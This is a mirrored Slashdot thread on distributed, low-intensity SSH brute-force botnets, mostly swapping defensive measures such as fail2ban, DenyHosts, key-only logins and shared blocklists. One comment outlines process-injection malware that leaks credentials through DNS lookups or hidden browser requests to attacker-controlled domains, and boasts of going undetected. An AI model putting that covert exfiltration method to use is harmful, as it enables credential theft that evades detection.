Slashdot Mirror
Distributed, Low-Intensity Botnets
badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."
And I didn't even need to use a botnet!
If you find this post offensive, don't read it! THINK ABOUT YOUR BREATHING! I am what I am because of how apes behave.
If the bad guys can siphon off what they need without being more than a mild annoyance, they can operate without fear of retribution.
I've seen SSH probes on my one-man-and-a-dog site for aeons. I don't think there's anything out of the ordinary, the scum has been trying (and failing) to get in for as long as I've had something listening on the 'net - and that is a long time. There's also nothing new in them trying to root FLOSS-sites as those sites - with their fixed IP addresses, good uptime, high reliability and abundance of crappy PHP-scripts to open the doors - make for good C&C hosts for their flock.
So all I read from this flog is that a grumpy BSD user should probably check his logs more often. This is nothing new.
--frank[at]unternet.org
I can't RTFA at work cause it is a blog, but in this case, my guess would be: Not-distributed probably means a centralized C&C architecture which has been traditionally the case, as opposed to a de-centralized (AKA distributed) P2P type C&C architecture.
Like, cancer, but on computers. In computers. Swarming through an incomprehensibly convoluted and complicated array of computers. Why, oh why, did I ever, start, using, computers?
"But seriously dude, what is that in the radiator?"
the difference between parasitism and commensal symbiosis. Great. It's already hard enough to keep infestation under control in the network ecosystem. When there's no visible damaging impact, how will we detect them?
Welcome to the Panopticon. Used to be a prison, now it's your home.
I get somewhere between twenty and thirty attempts per day agianst my SSH server alone. The server blocks the IP permanently after 3 bad attempts and they always try repeatedly until blocked. most of the attempts come from cable or dsl address spaces. I use gibberish for usernames and only allow certificate based authentication. They still keep trying however.
Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net? It's not! These "security researchers" remind me sometimes of my pothead friends. You can always tell someone who's new to smoking weed because they constantly ask the question, "but have you done it on WEED?" It's like somehow the idea that these people are using a botnet makes it all strange and new again. No, fail!
#fuckbeta #iamslashdot #dicemustdie
fail2ban will watch your log files and when it sees probing will firewall ban the offender. It has virtually eliminated probing attacks on my networks of machines. Sure, a distributed botnet can still probe you, but I haven't seen that happening.
Do be careful though...
It is a bit more complicated than that. My job is a bit more important to me than reading the article and believe me where I work they are very unfriendly to circumventing security measures.
I've noticed a significantly increased number of brute-force attacks in the last week or so. They're also spacing the number of attempts per IP address out, however I'll get several attempts in a row for the same invalid username from several different IP addresses within seconds of each other. Then all of the addresses will back off for a couple of minutes, and then they'll retry with a new username.
It's gotten to the point where I have finally installed Denyhosts. Prior to this week, I got away with limiting the number of new connections to port 22 per IP address per minute, but with the backoff that they're doing now, that no longer works.
Denyhosts is fantastic, though. Since I last evaluated it, they've added the ability to sync with a centralized server, meaning that I can potentially block attackers before they even hit me. I wish that everyone would use it, now.
I use Fail2ban on all of my iptables-based SSH servers, as it eliminates the possibility of brute-force attacks from single IPs (fail2ban will ban any IP with five failed ssh logins in a ten minute period. The ban vanishes after ten minutes).
However, this new botnet attack distributes the attack over the IP-space and time. That bypasses fail2ban!
The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL specialized for brute-force botnets. You run something that monitors your logs for failed logins (with a large scope for time, say ten failed attempts in a month). When an IP triggers it, you block that IP for a month and report it to the DNSBL. The DNSBL operates like Spamcop, trying to verify the nature of the IP (and trying to address the issue), then adding it to the blocklist. Anything listed on a DNSBL gets permanently blocked after one failed authentication, and if your internal list grows too big, any positive IP gets blocked before the login attempt.
Use my userscript to add story images to Slashdot. There's no going back.
Yeah, because Switzerland is such a notorious source of attacks. I think you meant .cn.
Like the OP I was getting loads of hits on port 22. I just setup portknocking and it works a treat.. My other system that I use ssh on (its on the a sub domain of my main site) I just moved to a higher port and that has prevented it from getting the hits..
Normally I don't recommend Security through obscurity but in the case of automated attacks it is worth while. Just don't rely on it alone.
These sorts of attacks are nothing new. If you are running an SSH server directly accessible from the Internet, check your /var/log/auth.log log sometime. You may be alarmed by the surprisingly large number of attacks you get every day, even if it is your home IP with no sort of domain name associated.
I like to run DenyHosts on my machines, which watches this log file and adds suspicious IPs to your /etc/hosts.deny. I generally have several new IPs added daily. Also disable remote root logins, because then the attacker has to guess a username and a password: an extra few bits of security (they try "root", then go on to "tester", "tester1", ... , "guest", "guest1", etc.). And, of course, use strong passwords for SSH accounts. In your logs you will find attackers employing dictionary attacks (which DenyHosts will quickly cut off).
Most of my attackers come from residential services all over the USA and UK, or don't resolve to an address at all. Those domains would be an exception.
For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
I have always had a select few hosts which are allowed unconditional access to the server, so if I need to, I'll get access.
Another option is to set up a second SSH daemon on a different port, and which only allows logins using public key (and possibly only by a specific user.) If you get blocked out on port 22, you can just use this side door to get in, as long as you've got your key.
SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware passphrase has only 120; you're not brute-forcing that.
Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).
All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).
For those of you stuck permitting passwords, you'll want something like John the Ripper to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.
Use my userscript to add story images to Slashdot. There's no going back.
you can read slashdot, but not a blog?
Isn't slashdot basically a big overgrown blog?
Flappinbooger isn't my real name
Um, ssh attacks aren't new. They've been hitting my server's for year's, and mine are for a private consulting company, with trivial amounts of random 'consumer' traffic.
Sleep your way to a whiter smile...date a dentist!
Yeah, a year or so ago I got tired of seeing 100-2K ssh entries a day in logwatch on my home machine. Denyhosts was fairly easy to setup and works like a charm.
I don't use the sync feature but do take advantage of the user black list. Grep the logs once a month and add the most popular names to the black list. I set it up to block the IP on the first attempt to login using any of the banned users.
Down to about 5-6 attempts a day now. This isn't even a static IP, can't imagine how bad it is for someone with one.
> Denyhosts is fantastic, though.
Indeed it is. Here are the RubyForge DenyHosts settings. The comments on that post have a good suggestion about DENY_THRESHOLD_ROOT; makes sense to have that at 2 vs 1 to avoid blocking someone who accidentally hits the wrong box.
The Army reading list
.ssh/config
Host hostname
Port yourport
then you can ssh to hostname and not have to type the port everytime.
Yeah these worms were attacking my home linux router as well, like a year ago or some.
Worms just tried to brute force ssh using "administrator" and such as username. I guess they were trying to get into badly (default) configured broadband routers. That's never going to work of course on my linux box but all the login attempts caused the hd to be busy *all* the time.
My sollution was to drop ssh packets by default in the firewall. Not that these attacks were likely to succeed but I didn't want my consumer grade hd to wear down in a year ;) I then created a small php script that'd insert a firewall rule to accept ssh connections from the IP it's called from. Finally I password protected the php script with .htaccess.
So now I can enable ssh to my machine wherever I am, while still blocking the rest of the internet.
This is not a game changing tactic. My institution has documented these style attacks on several past occaisions. There was some of this going around near the 4th of July. There was an extended bout this time last year. The attackers only use this tactic a few times a year. We have come to expect it on major holidays.
Economics can not be ignored. This attack must balance reward and risk.
In a normal SSH password guessing attack, the attacker risks a handful of computers. The committed computers do very noisy attacks and are probably lost to him.
In this SSH attack, the attacker risks hundreds of computers. This only pays off if the possibility of detection is greatly reduced or if the reward is greatly increased.
Fortunately, it is easy to detect this attack, and identify the attacking computers. You can use Cisco netflow data to characterize and identify the attackers. You can also identify the attackers with a SSH honeypot.
My institution takes the effort to document these attacks and report the attacking computers to their ISP's. It doesn't always work, but it works often enough to change the economics of attack. And each reported attacking machine is a possible pointer back to the hacker. Plus, it is the right thing to do.
Miles
Since you've gone that far, why not use the "side door" as the main door and get rid of ssh password access completely?
/etc/hosts.allow and have "ALL: ALL" in /etc/hosts.deny. That, plus key-only ssh access (no passwords allowed) seems to work rather well.
I use static IP addresses listed in
If you're a zombie and you know it, bite your friend!
One of the effective ways to not worry about these probes, is to run your ssh daemon on a non standard port.
So, instead of it being on port 22, run it on port 1022 or some other port.
You can do that by modifying your /etc/ssh/sshd_config to contain the line: Port 1022.
This means that scp and ssh will have to be told about the port on the command line though.
2bits.com, Inc: Drupal, WordPress, and LAMP performance tuning.
you can read slashdot, but not a blog?
This isn't surprising at all, even less so if he works in IT. Corporate management issues a new policy: "our computing resources are not to be used for [insert a huge list of time-wasting things employees have been caught doing in the office]." But keep in mind who's eventually tasked with implementing the policy. Given such an edict, network admins everywhere will happily block the most prolific productivity killers... Except for their own.
You'll find plenty of enterprises where MySpace, Facebook, Blogger, LiveJournal and friends all resolve to nowhere, yet geekier time pits like Slashdot and TechCrunch are wide open.
Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
You could also be interested in port knocking.
Turned out to be quite handy when I had that same issue with bots connecting to my ssh port all day long.
The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL [wikipedia.org] specialized for brute-force botnets.
Damn! I just posted about this as a reply to a previous thread, and it definitely belongs here instead.
Anyway, check out BruteForceBlocker, it's exactly what you describe, but it's implemented as a plaintext list instead of a DNSBL. Hosts using BruteForceBlocker can report attacks back to the central server. The list of recently reported attackers is public.
It's meant for BSD variants using the pf firewall, but I rolled my own implementation to parse FreeBSD ipfw logs (and report back) in a day or two. A daring volunteer could easily create a fork that works with Linux auth logs and iptables instead. Or set up a DNSBL that parses the list every hour or so and creates the appropriate zones.
Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
Fail2ban actually bans the offending IP after several failed authentications within a small window of time, and the ban is only for a small window of time ... the purpose is not defensive for security, but rather for bandwidth preservation; it's okay for somebody to try a few pokes here and there, just not a flurry of them.
The only bit that BruteForceBlocker has that fail2ban does not is that of the reporting and checking mechanism, which appears to be a recent addition. I don't see any indication that the blocklist is a well-groomed and up-to-date list, which is huge problem, as most of the IPs used by botnets are dynamic, and any one of them could be cleaned or re-allocated for legitimate use in the future. This lends itself to the same issues as your typical DNSBLs, which is why I proposed such a thing over a more generic blacklist.
Given the issue with maintenance, I'd stay clear of that feature. It might be useful for sharing temporary blocklists between your own servers, but you must be sure to rotate them periodically so that they do not grow stale.
That brings me to the next issue - efficiency. I don't know too much about the inner workings of pf or iptables, but if you have a poorly implemented filter hosting a lookup table with tens of thousands of IPs to check against, you're going to slow your system's entire internet traffic pipe considerably.
Use my userscript to add story images to Slashdot. There's no going back.
So we are still user password-based SSH authentication?
The problem is that in any sort of working environment, where you have a very heterogeneous user base, it's really really hard to enforce anything else.
Users - even the most basic of users - can be trained to enter a username and a password. They do it on Hotmail, they do it on Google, they do it on MySpace, they're used to the idea that when they want to login somewhere, they have to enter a username and a password. "That's how the internet works." So when their job functions require that they PuTTY into a box and make a couple choices from a shell-script menu, training them to enter a username and password is no big deal. Getting them to wrap their brains around a different authentication scheme is very difficult, even if your user base is fairly adept. Trying to set it all up for them is beyond the scope of most IT departments.
I've come to use passwordless key-based auth for ssh, but not so much for security as for convenience. I share a single DSA key across 6 or 8 machines because it's damn easy to generate a key on one box, append it to ~/.ssh/authorized_keys2 on all of them, and forget all about it from there on out. ssh just works. svn just works. rsync just works. You create your key and make it common among your systems, everything is...fluid. But try convincing someone who isn't a sysadmin, and doesn't have to deal with multiple machines, and doesn't use other applications that tunnel on top of ssh, that there's a benefit to setting up "weird encryption key stuff."
I have a 1u (personal, non-work-related) server in a colo facility. There are fewer than 10 users, all close friends, all tech savvy, all CS/IT types. Even with this very specialized audience, I couldn't convince all of them to switch to key-based auth; if I disabled PasswordAuthentication, I wouldn't hear the end of it. Temporarily moving sshd to a different port was hard enough. I can't even begin to imagine the hell that would ensue if they suddenly went key-based only at work.
Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
Actually botnets watch the IT department.
Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".
These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).
The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.
In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.
Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.
Works wonders. 3 years now, and still not discovered.
Fun and interesting theory. I've noticed one of my really old XP installs is "busy (unresponsive or laggy) when it should be idle" for a while now.
I encapsulated it into a virtualbox vm on a linux machine, and created a firewall rule to deny and log all direct internet access requests.
Proxy access to a limit set of sites is available on squid, which also logs all traffic. It's never actually tried to go anywhere but vendor sites
for software updates, but I have my eye on it none-the-less. It could just be it's a really, really old install of XP.
The great thing about moving it off to virtualbox, and parking the image on ZFS is it'll far outlive the hardware it was originally installed upon.
In fact it already has which was the genesis of this project. It takes some effort to get XP moved to virtualbox (it really helps if you
have a record of your original MAC address), but once XP is reregistered with the new hardware profile it's effortless to move that VDI around
between vm server machines. As flash storage becomes cheaper and cheaper, I fully expect services to spring up which do all the hard
work of snapping off a copy of your old desktop and letting you run XP on XP, XP on Linux or Windows 7 in case you ever need it.
To tie it back to virri and worms it makes a nice forensics tool, particularly if you use ZFS snapshotting. You can always roll the FS back
external to the VM. Wouldn't be interesting to dust off an old XP VM in 5 years, apply the latest antivirus software and see what's been lurking?
I had seen this on my own system back in July for the first time, and it eventually went away. It kept up for some time, to the point where I decide to write a little script to watch who is trying to come in.
Then it came back last month and I paid a little more attention to what I had been doing before. There was one significant thing that I did just before it (re)started:
I placed an ad on craigslist that had a link back to my own server for information on what I was selling.
We all know that of course the spamming botnets tend to troll craigslist looking for valid email addresses to add to their lists. I would say it appears that the botnets are now looking through craigslist for systems to attack as well.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.